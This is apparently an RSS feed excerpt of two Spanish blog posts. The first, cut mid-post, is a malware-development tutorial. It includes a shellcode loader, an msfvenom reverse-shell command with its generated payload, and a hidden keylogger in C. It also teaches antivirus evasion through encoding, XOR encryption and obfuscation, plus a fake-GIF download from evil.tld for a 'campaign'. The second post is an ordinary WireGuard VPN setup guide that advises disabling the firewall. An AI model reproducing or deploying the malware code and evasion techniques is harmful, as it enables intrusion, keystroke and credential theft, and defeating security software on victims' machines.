panic(err)<br> }<br><br> cmd := exec.Command(exePath)<br> err = cmd.Start()<br> if err != nil {<br>  panic(err)<br> }<br>}</pre><h4>Que cosas podría descargar un dropper?</h4><ul><li><strong>Shellcodes compilado (loader)</strong>: Son pequeños fragmentos de código, en lenguaje de máquina, en formato <strong>hexadecimal</strong> que puede ser cualquier cosa, un <strong>exploit, </strong>una <strong>reverse shell </strong>o<strong> payload </strong>de algún<strong> C&amp;C </strong>o algun ejecutable que haya sido transformado en <strong>shellcode</strong> con <a href="https://github.com/TheWover/donut"><strong>Donut</strong></a><strong>. </strong>Para ejecutar <em>shellcodes</em> desde un dropper es recomendado descargarlo y no tenerlo hardcodeado en el código, también es necesario usar <strong>Syscalls</strong> (<a href="https://learn.microsoft.com/es-es/windows/win32/apiindex/windows-api-list"><strong>Windows API</strong></a>) para su ejecución, pero puedes preferir no usarlo como se enseña en este <a href="https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis">link</a>.</li></ul><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>int main() {<br>    // Shellcode almacenado en un array de bytes<br>    unsigned char shellcode[] = {<br>        0x90, 0x90, 0x90, 0x90,  // NOP sled (esto es solo un ejemplo, reemplaza con tu shellcode real)<br>        0x48, 0x31, 0xc0,        // xor    rax,rax<br>        0x48, 0xff, 0xc0,        // inc    rax<br>        0x48, 0xff, 0xc0,        // inc    rax<br>        0x48, 0x89, 0xc7,        // mov    rdi,rax<br>        0x48, 0xff, 0xc0,        // inc    rax<br>        0x0f, 0x05               // syscall<br>    };<br><br>    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br><br>    RtlMoveMemory(exec, shellcode, sizeof shellcode);<br><br>    ((void(*)())exec)();<br><br>    // VirtualFree(exec, 0, MEM_RELEASE);<br><br>    return 0;<br>}</pre><p>Para generar <em>shellcodes</em> te recomiendo la herramienta de <strong>metasploit</strong> msfvenom:</p><pre>$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.2 LPORT=443 EXITFUNC=thread -f c -b &#39;\x00\x0a\x0d&#39;<br>[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload<br>[-] No arch selected, selecting arch: x64 from the payload<br>Found 2 compatible encoders<br>Attempting to encode payload with 1 iterations of x64/xor<br>x64/xor succeeded with size 503 (iteration=0)<br>x64/xor chosen with final size 503<br>Payload size: 503 bytes<br>Final size of c file: 2144 bytes<br>unsigned char buf[] = <br>&quot;\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef&quot;<br>&quot;\xff\xff\xff\x48\xbb\x36\xf7\x30\x1f\xa3\xd4\xaa\x96\x48&quot;<br>&quot;\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xca\xbf\xb3&quot;<br>&quot;\xfb\x53\x3c\x6a\x96\x36\xf7\x71\x4e\xe2\x84\xf8\xc7\x60&quot;<br>&quot;\xbf\x01\xcd\xc6\x9c\x21\xc4\x56\xbf\xbb\x4d\xbb\x9c\x21&quot;<br>&quot;\xc4\x16\xbf\xbb\x6d\xf3\x9c\xa5\x21\x7c\xbd\x7d\x2e\x6a&quot;<br>&quot;\x9c\x9b\x56\x9a\xcb\x51\x63\xa1\xf8\x8a\xd7\xf7\x3e\x3d&quot;<br>&quot;\x5e\xa2\x15\x48\x7b\x64\xb6\x61\x57\x28\x86\x8a\x1d\x74&quot;<br>&quot;\xcb\x78\x1e\x73\x5f\x2a\x1e\x36\xf7\x30\x57\x26\x14\xde&quot;<br>&quot;\xf1\x7e\xf6\xe0\x4f\x28\x9c\xb2\xd2\xbd\xb7\x10\x56\xa2&quot;<br>&quot;\x04\x49\xc0\x7e\x08\xf9\x5e\x28\xe0\x22\xde\x37\x21\x7d&quot;<br>&quot;\x2e\x6a\x9c\x9b\x56\x9a\xb6\xf1\xd6\xae\x95\xab\x57\x0e&quot;<br>&quot;\x17\x45\xee\xef\xd7\xe6\xb2\x3e\xb2\x09\xce\xd6\x0c\xf2&quot;<br>&quot;\xd2\xbd\xb7\x14\x56\xa2\x04\xcc\xd7\xbd\xfb\x78\x5b\x28&quot;<br>&quot;\x94\xb6\xdf\x37\x27\x71\x94\xa7\x5c\xe2\x97\xe6\xb6\x68&quot;<br>&quot;\x5e\xfb\x8a\xf3\xcc\x77\xaf\x71\x46\xe2\x8e\xe2\x15\xda&quot;<br>&quot;\xd7\x71\x4d\x5c\x34\xf2\xd7\x6f\xad\x78\x94\xb1\x3d\xfd&quot;<br>&quot;\x69\xc9\x08\x6d\x56\x1d\xa3\xd9\xa4\x69\xc4\x02\x1f\xa3&quot;<br>&quot;\x95\xfc\xdf\xbf\x11\x78\x9e\x4f\x74\xab\x96\x36\xbe\xb9&quot;<br>&quot;\xfa\xea\x68\xa8\x96\x37\x4c\xf0\xb7\xc7\xd6\xeb\xc2\x7f&quot;<br>&quot;\x7e\xd4\x53\x2a\x25\xeb\x2c\x7a\x80\x16\x18\x5c\x01\xe6&quot;<br>&quot;\x1f\xdc\x9f\x31\x1e\xa3\xd4\xf3\xd7\x8c\xde\xb0\x74\xa3&quot;<br>&quot;\x2b\x7f\xc6\x66\xba\x01\xd6\xee\xe5\x6a\xde\xc9\x37\x78&quot;<br>&quot;\x96\x61\x9c\x55\x56\x7e\x7e\xf1\x5e\x19\x3e\xa5\x49\xd6&quot;<br>&quot;\x08\xe5\x57\x2a\x13\xc0\x86\x77\xaf\x7c\x96\x41\x9c\x23&quot;<br>&quot;\x6f\x77\x4d\xa9\xba\xd7\xb5\x55\x43\x7e\x76\xf4\x5f\xa1&quot;<br>&quot;\xd4\xaa\xdf\x8e\x94\x5d\x7b\xa3\xd4\xaa\x96\x36\xb6\x60&quot;<br>&quot;\x5e\xf3\x9c\x23\x74\x61\xa0\x67\x52\x92\x14\xc0\x9b\x6f&quot;<br>&quot;\xb6\x60\xfd\x5f\xb2\x6d\xd2\x12\xa3\x31\x1e\xeb\x59\xee&quot;<br>&quot;\xb2\x2e\x31\x30\x77\xeb\x5d\x4c\xc0\x66\xb6\x60\x5e\xf3&quot;<br>&quot;\x95\xfa\xdf\xc9\x37\x71\x4f\xea\x2b\x62\xdb\xbf\x36\x7c&quot;<br>&quot;\x96\x62\x95\x10\xef\xfa\xc8\xb6\xe0\x76\x9c\x9b\x44\x7e&quot;<br>&quot;\x08\xfa\x94\xad\x95\x10\x9e\xb1\xea\x50\xe0\x76\x6f\x5a&quot;<br>&quot;\x23\x94\xa1\x71\xa5\x05\x41\x17\x0b\xc9\x22\x78\x9c\x67&quot;<br>&quot;\xfc\x96\x90\x4a\xfd\xb0\xe4\x43\xa1\xaf\x2d\x71\xe4\x42&quot;<br>&quot;\x70\xc9\xd4\xf3\xd7\xbf\x2d\xcf\xca\xa3\xd4\xaa\x96&quot;;</pre><ul><li><strong>Payloads de Command and Control (C&amp;C)</strong>: Un <em>dropper</em> puede descargar exes propios de algún <strong>C&amp;C</strong>, como <em>meterpreter</em> de <a href="https://github.com/rapid7/metasploit-framework"><strong>Metasploit</strong></a>, <em>implantes</em> de <a href="https://github.com/BishopFox/sliver"><strong>Sliver</strong></a>, o <em>agentes</em> de <a href="https://github.com/BC-SECURITY/Empire"><strong>Empire</strong></a>.</li><li><strong>Ransomware</strong>: Un tipo de <em>malware</em> cuyo modelo de negocio es ganar dinero cifrando los discos de tus víctimas. Sin embargo, si te descubren, te buscarán con la Interpol, el FBI y toda la caballería pesada.</li><li><strong>Stealers</strong>: <em>Malware</em> que se limita a robar información. Es uno de los menos detectados hoy en día, y la cantidad de stealers en el ciberespacio es abismal, dado que no genera mucho ruido al ejecutarse. Por lo general, roba datos del navegador, como contraseñas guardadas, historial de navegación, sesiones, archivos, o datos de programas como Microsoft Teams o juegos que utilizan lógica de sesiones, como Roblox.</li><li><strong>Programar una reverse shell</strong>: Un poco <em>tryhard</em> pero a mí me ha servido bastante, podrías usar protocolos como <strong>HTTPS</strong>, <strong>SSH</strong>, <strong>TCP/UDP</strong>, <strong>ICMP</strong>, <strong>DNS, gRPC </strong>o<strong> </strong>los que quieras, y puedes agregar una capa extra a la comunicación como algún cifrado mencionado anteriormente, por ejemplo, <strong>AES </strong>y añadirle como estructura<strong> Protobuf </strong>usando cifrado en la capa de transporte<strong> mTLS.</strong></li><li><strong>Túnel proxy</strong>: a veces es necesario <strong>pivotear</strong> a la red interna mas que tener control de la máquina, en ese caso entonces es necesario ejecutar un túnel el cual te de acceso a ella, una herramienta útil es <a href="https://github.com/jpillora/chisel"><strong>chisel</strong></a><strong> o </strong>si necesitas exponer un puerto a internet existe<strong> </strong><a href="https://github.com/fatedier/frp"><strong>frp</strong></a><strong>.</strong></li><li><strong>Keyloggers</strong>: Son programas que interceptan las pulsaciones de tu teclado y registran las teclas presionadas. Es probable que sean fácilmente detectables, ya que en su momento fueron muy populares y los antivirus se esforzaron en desarrollar métodos para identificarlos. Para poder interceptar las pulsaciones es necesario usar <strong>Syscalls</strong> (<a href="https://learn.microsoft.com/es-es/windows/win32/apiindex/windows-api-list"><strong>Windows API</strong></a>)</li></ul><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>// Nombre del archivo de registro<br>#define LOG_FILE &quot;keys.log&quot;<br><br>// Función para guardar la tecla en el archivo<br>void logKey(int key) {<br>    FILE *file = fopen(LOG_FILE, &quot;a+&quot;);<br>    if (file != NULL) {<br>        if (key == VK_SPACE)<br>            fprintf(file, &quot; &quot;);<br>        else if (key == VK_RETURN)<br>            fprintf(file, &quot;\n&quot;);<br>        else if (key == VK_TAB)<br>            fprintf(file, &quot;\t&quot;);<br>        else if (key == VK_BACK)<br>            fprintf(file, &quot;[BACKSPACE]&quot;);<br>        else if (key == VK_SHIFT || key == VK_LSHIFT || key == VK_RSHIFT)<br>            fprintf(file, &quot;[SHIFT]&quot;);<br>        else if (key == VK_CONTROL || key == VK_LCONTROL || key == VK_RCONTROL)<br>            fprintf(file, &quot;[CTRL]&quot;);<br>        else if (key == VK_ESCAPE)<br>            fprintf(file, &quot;[ESC]&quot;);<br>        else if (key == VK_END)<br>            fprintf(file, &quot;[END]&quot;);<br>        else if (key == VK_HOME)<br>            fprintf(file, &quot;[HOME]&quot;);<br>        else if (key == VK_LEFT)<br>            fprintf(file, &quot;[LEFT]&quot;);<br>        else if (key == VK_UP)<br>            fprintf(file, &quot;[UP]&quot;);<br>        else if (key == VK_RIGHT)<br>            fprintf(file, &quot;[RIGHT]&quot;);<br>        else if (key == VK_DOWN)<br>            fprintf(file, &quot;[DOWN]&quot;);<br>        else if (key == VK_DELETE)<br>            fprintf(file, &quot;[DELETE]&quot;);<br>        else<br>            fprintf(file, &quot;%c&quot;, key);<br>        fclose(file);<br>    }<br>}<br><br>int main() {<br>    // Ocultar la consola<br>    ShowWindow(GetConsoleWindow(), SW_HIDE);<br><br>    while (1) {<br>        for (int key = 8; key &lt;= 255; key++) {<br>            // Si la tecla está presionada<br>            if (GetAsyncKeyState(key) &amp; 0x8000) {<br>                logKey(key);<br>            }<br>        }<br>        Sleep(10);  // Para reducir la carga del procesador<br>    }<br><br>    return 0;<br>}</pre><ul><li><strong>Código PowerShell</strong>: Puedes hacer que tu <em>dropper</em> ejecute código <strong>PowerShell</strong> directamente. Aunque en los lenguajes mencionados anteriormente solo <strong>C#</strong> tiene la capacidad nativa de ejecutarlo, en los demás necesitarás ejecutarlo como un comando o utilizar alguna biblioteca de terceros. También te dejo este <a href="https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters"><strong>link</strong></a> que te será de utilidad para usar <strong>PowerShell</strong>.</li></ul><pre>using System;<br>using System.Management.Automation;<br><br>class Program<br>{<br>    static void Main(string[] args)<br>    {<br>        string command = &quot;Get-Process&quot;;<br><br>        using (PowerShell powerShell = PowerShell.Create())<br>        {<br>            powerShell.AddScript(command);<br><br>            var results = powerShell.Invoke();<br><br>            foreach (var result in results)<br>            {<br>                Console.WriteLine(result.ToString());<br>            }<br>        }<br>    }<br>}</pre><h3>Baits: Evadiendo y evitando ando</h3><p>Aquí presento varias técnicas que pueden ser tanto sencillas como efectivas. Es importante tener en cuenta que no todas las técnicas mencionadas aquí podrán evadir todos los tipos de malware. Deberás investigar y probar por tu cuenta para ver cuáles funcionan mejor para ti. Aunque estas técnicas me han funcionado en el pasado, es posible que para cuando leas este post algunas de ellas ya estén obsoletas para ciertos tipos de malware. Por lo tanto, no te ilusiones demasiado. Úsalas como referencia, combínalas de manera creativa, o desarrolla tus propias variaciones a partir de ellas.</p><ul><li><strong>Shellcode as a UUID</strong>: Esta técnica se popularizó después de que se realizara ingeniería inversa a las TTPs del <a href="https://www.nccgroup.com/us/research-blog/rift-analysing-a-lazarus-shellcode-execution-method/"><em>grupo Lazarus</em></a>. El usuario <a href="https://cocomelonc.github.io/malware/2022/07/21/malware-tricks-22.html"><strong>Cocomelonc</strong></a> publicó un post muy detallado sobre esta técnica, que recomiendo leer para obtener una comprensión más profunda.</li><li><strong>Técnica “Hacha”</strong>: Le di este nombre en honor a la antigua herramienta llamada Hacha. Consiste en dividir el malware en varias partes y luego unirlas en el <em>dropper</em> para su ejecución. Estas partes divididas pueden estar distribuidas en diferentes fuentes, y algunas pueden repetirse para garantizar redundancia en caso de que una de las fuentes falle o esté flaggeada.</li><li><strong>Descargar el malware desde un proveedor</strong>: El <em>dropper</em> no necesariamente tiene que descargar el <em>malware</em> desde un servidor <strong>HTTP</strong>, también lo puede hacer desde una <strong>base de datos</strong>, servidores <strong>FTP</strong> , proveedores de almacenamiento de archivos como <strong>Dropbox</strong>, <strong>AWS S3</strong>, <strong>Google Cloud Storage</strong>, <strong>Microsoft Azure Blob Storage</strong>, <strong>DigitalOcean Spaces</strong>, <strong>Cloudflare R2</strong> o servidores <em>self-hosted</em> como <a href="https://github.com/minio/minio"><strong>MinIO</strong></a>.</li><li><strong>Ofuscar el nombre de las funciones y variables</strong>: No le pongas a tu función <em>imAVirus (</em>o a tu variable<em> executeShell</em>). Podrías ser mas ingenioso y que se llame <em>imNotAVirus</em> (tampoco es buena idea, pero si un nombre aleatorio, por ejemplo, darle cabezazos al teclado).</li><li><strong>Encoding en PowerShell</strong>: Aquí te comparto un ejemplo de script en Python que permite codificar un comando de <strong>PowerShell</strong> en <strong>Base64</strong>. Esta técnica ayuda a que la ejecución de funciones maliciosas sea menos evidente al analizar logs o historiales, dificultando su detección.</li></ul><pre>import base64<br><br>def powershell_to_base64_le(powershell_command):<br>    encoded_command = powershell_command.encode(&#39;utf-16le&#39;)<br>    base64_command = base64.b64encode(encoded_command).decode(&#39;utf-8&#39;)<br>    obfuscated_command = f&#39;powershell -EncodedCommand {base64_command}&#39;<br>    <br>    return obfuscated_command<br><br>if __name__ == &quot;__main__&quot;:<br>    comando_powershell = &quot;Get-Process&quot;<br>    comando_ofuscado = powershell_to_base64_le(comando_powershell)<br>    print(comando_ofuscado)</pre><p>El comando se vería algo así:</p><pre>powershell -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==</pre><ul><li><strong>Uso de encoders y cifrados</strong>: Utiliza técnicas como <strong>XOR</strong>, <strong>RC2</strong>, <strong>RC4</strong>, <strong>Base64</strong>, <strong>AES</strong>, entre otras, ya sea de manera individual, combinada o como mejor se te ocurra en el malware. Esto permite que pase más desapercibido durante la descarga y almacenamiento. Te dejo un ejemplo:</li></ul><p><strong>encoder.py</strong></p><pre>def xor_encrypt(input_file, output_file, key):<br>    with open(input_file, &#39;rb&#39;) as f_in:<br>        data = f_in.read()<br><br>    encrypted_data = bytearray(data)<br><br>    for i in range(len(encrypted_data)):<br>        encrypted_data[i] ^= key<br><br>    with open(output_file, &#39;wb&#39;) as f_out:<br>        f_out.write(encrypted_data)<br><br>if __name__ == &quot;__main__&quot;:<br>    input_file = &quot;programa.exe&quot;<br>    output_file = &quot;programa_cifrado.exe&quot;<br>    key = 0xAB<br><br>    xor_encrypt(input_file, output_file, key)<br>    print(f&quot;Archivo {output_file} creado y cifrado con la clave {key}.&quot;)</pre><p><strong>decoder.cs</strong></p><pre>using System;<br>using System.IO;<br><br>class Program<br>{<br>    static void Main(string[] args)<br>    {<br>        string inputFile = &quot;programa_cifrado.exe&quot;;<br>        string outputFile = &quot;programa_descifrado.exe&quot;;<br>        byte key = 0xAB;<br><br>        byte[] encryptedData = File.ReadAllBytes(inputFile);<br>        byte[] decryptedData = new byte[encryptedData.Length];<br><br>        for (int i = 0; i &lt; encryptedData.Length; i++)<br>        {<br>            decryptedData[i] = (byte)(encryptedData[i] ^ key);<br>        }<br><br>        File.WriteAllBytes(outputFile, decryptedData);<br>        Console.WriteLine($&quot;Archivo {outputFile} creado y descifrado con la clave {key}.&quot;);<br>    }<br>}</pre><ul><li><strong>Reemplazar strings por Bytearrays</strong>: Lo que hacemos técnicamente es remplazar una cadena de texto <em>“hola mundo”</em> en un B<strong>ytearray</strong>, esto se hace con el fin de que los strings no se vean con el comando strings:</li></ul><pre>byte[] byteArray = new byte[]{72, 101, 108, 108, 111, 32, 67, 35};<br>string result = Encoding.UTF8.GetString(byteArray);</pre><p>Esto se aplicaría en un contexto como por ejemplo en <strong>decoder.cs </strong>anterior:</p><pre>using System;<br>using System.IO;<br>using System.Text;<br><br>class Program<br>{<br>    static void Main(string[] args)<br>    {<br>        // Arrays de bytes para los nombres de archivo<br>        byte[] inputFileBytes = new byte[]{112, 114, 111, 103, 114, 97, 109, 97, 95, 99, 105, 102, 114, 97, 100, 111, 46, 101, 120, 101};  // &quot;programa_cifrado.exe&quot;<br>        byte[] outputFileBytes = new byte[]{112, 114, 111, 103, 114, 97, 109, 97, 95, 100, 101, 115, 99, 105, 102, 114, 97, 100, 111, 46, 101, 120, 101};  // &quot;programa_descifrado.exe&quot;<br><br>        // Convertir los arrays de bytes en strings<br>        string inputFile = Encoding.ASCII.GetString(inputFileBytes);<br>        string outputFile = Encoding.ASCII.GetString(outputFileBytes);<br>        byte key = 0xAB;<br><br>        byte[] encryptedData = File.ReadAllBytes(inputFile);<br>        byte[] decryptedData = new byte[encryptedData.Length];<br><br>        for (int i = 0; i &lt; encryptedData.Length; i++)<br>        {<br>            decryptedData[i] = (byte)(encryptedData[i] ^ key);<br>        }<br><br>        File.WriteAllBytes(outputFile, decryptedData);<br>        Console.WriteLine($&quot;Archivo {outputFile} creado y descifrado con la clave {key}.&quot;);<br>    }<br>}</pre><ul><li><strong>Técnica del ajedrez</strong>: Conocí esta técnica gracias a <a href="https://3xploit666.medium.com/">3xploit666</a> y la encontré bastante interesante. Consiste en reemplazar los caracteres del malware por caracteres <strong>Unicode</strong>. Esto es particularmente útil si el <em>payload</em> se descarga en formato <strong>Base64</strong>, ya que los caracteres <strong>Unicode</strong> pueden ayudar a evadir detecciones. Aquí te dejo un ejemplo:</li></ul><p><strong>encoder.go</strong></p><pre>package main<br><br>import (<br> &quot;encoding/base64&quot;<br> &quot;fmt&quot;<br> &quot;io/ioutil&quot;<br> &quot;strings&quot;<br>)<br><br>func main() {<br> filePath := &quot;archivo.exe&quot;<br> data, err := ioutil.ReadFile(filePath)<br> if err != nil {<br>  fmt.Println(&quot;Error al leer el archivo:&quot;, err)<br>  return<br> }<br><br> encoded := base64.StdEncoding.EncodeToString(data)<br><br> chessMap := map[string]string{<br>  &quot;A&quot;: &quot;♔&quot;, &quot;B&quot;: &quot;♕&quot;,<br> }<br><br> var chessEncoded strings.Builder<br> for _, char := range encoded {<br>  if replacement, ok := chessMap[string(char)]; ok {<br>   chessEncoded.WriteString(replacement)<br>  } else {<br>   chessEncoded.WriteString(string(char))<br>  }<br> }<br><br> result := chessEncoded.String()<br><br> fmt.Println(&quot;Encoded to Chess Unicode:&quot;)<br> fmt.Println(result)<br>}</pre><p><strong>decoder.cs</strong></p><pre>using System;<br>using System.Collections.Generic;<br>using System.Text;<br><br>class Program<br>{<br>    static void Main()<br>    {<br>        string encodedWithChess = &quot;♔VGhpcyBpcyBhIHRlc3Q=&quot;;<br><br>        Dictionary&lt;string, char&gt; chessMap = new Dictionary&lt;string, char&gt;<br>        {<br>            { &quot;♔&quot;, &#39;A&#39; },<br>            { &quot;♕&quot;, &#39;B&#39; }<br>        };<br><br>        StringBuilder base64Encoded = new StringBuilder();<br><br>        foreach (char ch in encodedWithChess)<br>        {<br>            string strCh = ch.ToString();<br>            if (chessMap.ContainsKey(strCh))<br>            {<br>                base64Encoded.Append(chessMap[strCh]);<br>            }<br>            else<br>            {<br>                base64Encoded.Append(ch);<br>            }<br>        }<br><br>        string base64String = base64Encoded.ToString();<br><br>        try<br>        {<br>            byte[] decodedBytes = Convert.FromBase64String(base64String);<br><br>            string decodedText = Encoding.UTF8.GetString(decodedBytes);<br><br>            Console.WriteLine(&quot;Decoded text:&quot;);<br>            Console.WriteLine(decodedText);<br>        }<br>        catch (FormatException ex)<br>        {<br>            Console.WriteLine(&quot;Error en la decodificación Base64: &quot; + ex.Message);<br>        }<br>    }<br>}</pre><h3>El “Hola Mundo” del malware</h3><p>El <em>payload</em> considerado por muchos como el <em>“Hola Mundo”</em> para probar que la evasión de <strong>Antivirus</strong> o <strong>EDR</strong> funciona es ejecutar MessageBox de msfvenom, puede ser en cualquier formato, como <strong>exe</strong> o <strong>shellcode:</strong></p><pre>msfvenom -p windows/x64/messagebox TEXT=hello TITLE=hello -f exe &gt; msgbox.exe</pre><h3>Que no hacer</h3><p>Jamás en tu vida por tu mamita linda, subas tu malware en scanners onlines ni tampoco lo ejecutes en maquinas con acceso a internet cuando lo estes probando o desarrollando. Es más, pruébalos en local en una maquina sin conexión a internet, con el sistema de seguridad activo. Cuando quieras desplegar la campaña, lo lanzas a la vida rezando para que no te lo detecten. Es la única forma segura que conozco. Si no sigues estas recomendaciones, es probable que tu caballo de madera dure menos que un peo (pedo).</p><h3>Bonus Track</h3><pre># 1. Linux/MacOS - Insertar el magic number del Gif en un exe<br>sed &#39;1s/^/GIF87a/&#39; calc.exe &gt; calc.gif<br><br># 2. Windows - Descargar el exe eliminando el magic number del Gif<br>curl.exe -qk -X GET -C 6 https://evil.tld/calc.exe &gt; calc.exe</pre><h3>Referencias</h3><ul><li><a href="https://cocomelonc.github.io/">https://cocomelonc.github.io/</a></li><li><a href="https://3xploit666.medium.com/">https://3xploit666.medium.com/</a></li><li><a href="https://vx-underground.org/">https://vx-underground.org/</a></li><li><a href="https://0xpat.github.io/">https://0xpat.github.io/</a></li><li><a href="https://dominicbreuker.com/">https://dominicbreuker.com/</a></li></ul><h4>Referencias del autor</h4><ul><li><a href="https://vay3t.medium.com/https-con-mtls-en-go-cbfcdef07c5e">https://vay3t.medium.com/https-con-mtls-en-go-cbfcdef07c5e</a></li><li><a href="https://vay3t.medium.com/malware-development-instalaci%C3%B3n-del-entorno-de-desarrollo-de-malware-en-macos-3c347084599e">https://vay3t.medium.com/malware-development-instalaci%C3%B3n-del-entorno-de-desarrollo-de-malware-en-macos-3c347084599e</a></li></ul><h4>Links útiles</h4><ul><li><a href="https://blog.securitybreak.io/10-underestimated-resources-about-malware-techniques-98f6750c7609">https://blog.securitybreak.io/10-underestimated-resources-about-malware-techniques-98f6750c7609</a></li><li><a href="https://0xrick.github.io/misc/c2/">https://0xrick.github.io/misc/c2/</a></li><li><a href="https://bishopfox.com/blog/passing-the-osep-exam-using-sliver">https://bishopfox.com/blog/passing-the-osep-exam-using-sliver</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=281066fd9019" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Configurar Remote Access VPN con Wireguard]]></title>
            <link>https://vay3t.medium.com/configurar-remote-access-vpn-con-wireguard-09de3adedb08?source=rss-470deab256ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/09de3adedb08</guid>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[remote-access]]></category>
            <category><![CDATA[vpn-server]]></category>
            <category><![CDATA[wireguard]]></category>
            <category><![CDATA[network]]></category>
            <dc:creator><![CDATA[Vay3t]]></dc:creator>
            <pubDate>Thu, 11 Apr 2024 00:44:14 GMT</pubDate>
            <atom:updated>2025-06-24T04:11:21.080Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>WireGuard</strong> es una solución <em>VPN</em> ligera, de alta velocidad y segura, ideal para configuraciones <em>Remote Access</em> o <em>site-to-site</em>. Su simplicidad y rendimiento superior lo hacen preferible sobre soluciones <em>VPN</em> más antiguas. Este post te guiará a través del proceso de instalación y configuración de <strong>WireGuard</strong> para establecer una conexión <strong>Remote Access VPN</strong> en Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*vVNdOqsn-dYMolzu.png" /></figure><h3>¿Qué es una Remote Access VPN?</h3><p>Conocida como <em>VPN</em> de acceso remoto, es un tipo de conexión de <strong>red privada virtual</strong> (<em>VPN</em>) que permite a los usuarios remotos, como empleados fuera de la oficina, conectarse de manera segura a la red interna de una empresa o a recursos específicos dentro de esa red desde cualquier lugar, siempre que tengan acceso a internet. Este tipo de <em>VPN</em> establece una conexión segura y cifrada desde el dispositivo del usuario (<strong>el cliente</strong>) hasta el servidor <em>VPN</em> ubicado en la red de la empresa (<strong>el sitio</strong>).</p><h3>1. Instalar WireGuard en el Servidor</h3><p>Primero, necesitas instalar <strong>WireGuard</strong> en el <em>servidor</em>. Abre una terminal y ejecuta los siguientes comandos:</p><pre>sudo su<br>apt install wireguard -y<br>cd /etc/wireguard/<br>umask 077; wg genkey | tee privatekey | wg pubkey &gt; publickey</pre><p>Estos comandos instalarán <strong>WireGuard</strong>, cambiarán al directorio de configuración de <strong>WireGuard</strong>, generarán una <em>clave privada</em> y, a partir de esta, generarán una <em>clave pública</em>.</p><h3>2. Instalar WireGuard en el Cliente</h3><p>Repite el proceso de instalación del servidor pero ahora en el <em>cliente</em>:</p><pre>sudo su<br>apt install wireguard -y<br>cd /etc/wireguard/<br>umask 077; wg genkey | tee privatekey | wg pubkey &gt; publickey</pre><h3>3. Configurar el Servidor WireGuard</h3><p>Crea la configuración según el siguiente template en donde rellenarás la llave privada del servidor y las llaves publicas de los clientes según correspondan y guardarás en la ruta /etc/wireguard/wg0.conf. Es importante tener en cuenta de que en las secciones de &lt;private server key&gt; y &lt;public client key&gt; son los valores correspondientes de los archivos generados con el comando wg genkey y wg pubkey. En la sección de Address va la IP del Gateway de la VPN y el valor de su segmento. En donde dice AllowedIPs se especifica la IP que tendrá el cliente a la hora de conectarse.</p><pre>[Interface]<br>PrivateKey = &lt;private server key&gt;<br>Address = 172.16.23.1/24<br>ListenPort = 51820<br>PostUp = sysctl -w net.ipv4.ip_forward=1; iptables -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu<br>PostDown = sysctl -w net.ipv4.ip_forward=0; iptables -D FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu<br>MTU = 1420<br><br>[Peer]<br># cliente 1<br>PublicKey = &lt;public client key&gt;<br>AllowedIPs = 172.16.23.2/32<br><br>[Peer]<br># cliente 2<br>PublicKey = &lt;public client key&gt;<br>AllowedIPs = 172.16.23.3/32</pre><p>Para habilitar el servicio automáticamente en el inicio deben ejecutar el siguiente comando</p><pre>sudo systemctl enable wg-quick@wg0</pre><p>Recuerda desactivar el Firewall para <strong>WireGuard</strong></p><pre>sudo ufw disable</pre><h3>4. Iniciar/Detener el Servidor WireGuard</h3><p>Para iniciar el servidor <strong>WireGuard</strong>, ejecuta:</p><pre>sudo systemctl start wg-quick@wg0</pre><p>Para detenerlo, utiliza:</p><pre>sudo systemctl stop wg-quick@wg0</pre><h3>5. Configurar el Cliente WireGuard</h3><p>Igual que en el servidor, necesitarás crear /etc/wireguard/hs0.conf en tu host cliente para agregar la clave privada del cliente y la clave publica del servidor. En la sección de Address va la IP del cliente de la <em>VPN</em> y el valor de su segmento, en Endpoint va la dirección del servidor y AllowedIPs es donde se especifica la dirección IP y el segmento a cual se accederá dentro de la red de la <em>VPN</em>.</p><pre>[Interface]<br>PrivateKey = &lt;private client key&gt;<br>Address = 172.16.23.2/24<br>MTU = 1384<br><br>[Peer]<br># wireguard server<br>PublicKey = &lt;public server key&gt;<br>Endpoint = &lt;IP server&gt;:51820<br>AllowedIPs = 172.16.23.0/24<br>PersistentKeepalive = 25</pre><h3>6. Conectar el Cliente</h3><p>Para conectar el cliente a la <em>VPN</em>, utiliza:</p><pre>sudo wg-quick up hs0</pre><p>Para desconectarlo:</p><pre>sudo wg-quick down hs0</pre><p>Para que el cliente <em>VPN</em> inicie en el inicio debes ejecutar lo siguiente:</p><pre>sudo systemctl enable wg-quick@hs0</pre><h3>Nota</h3><p>Si utilizas en la configuración del cliente lo siguiente:</p><pre>AllowedIPs = 0.0.0.0/0</pre><p>Tendrás la IP de la <em>VPN</em>, por lo cual es necesario tener en cuenta de que el cliente tiene el control si quiere acceder a la red de la <em>VPN</em> o traficar por la IP del servidor.</p><h3>Conclusión</h3><p>Configurar una <strong>Remote Access VPN</strong> con <strong>WireGuard</strong> representa una solución moderna, eficiente y segura para las necesidades de conexión remota. Siguiendo los pasos descritos en este post, desde la instalación de <strong>WireGuard</strong> tanto en el servidor como en el cliente, hasta la configuración y gestión de la conexión <em>VPN</em>, puedes establecer una comunicación cifrada y de alta velocidad entre dispositivos remotos y tu red interna. Este proceso no solo mejora la seguridad de tu red permitiendo accesos remotos seguros sino que también se beneficia de la simplicidad y el rendimiento superior de <strong>WireGuard</strong> en comparación con soluciones 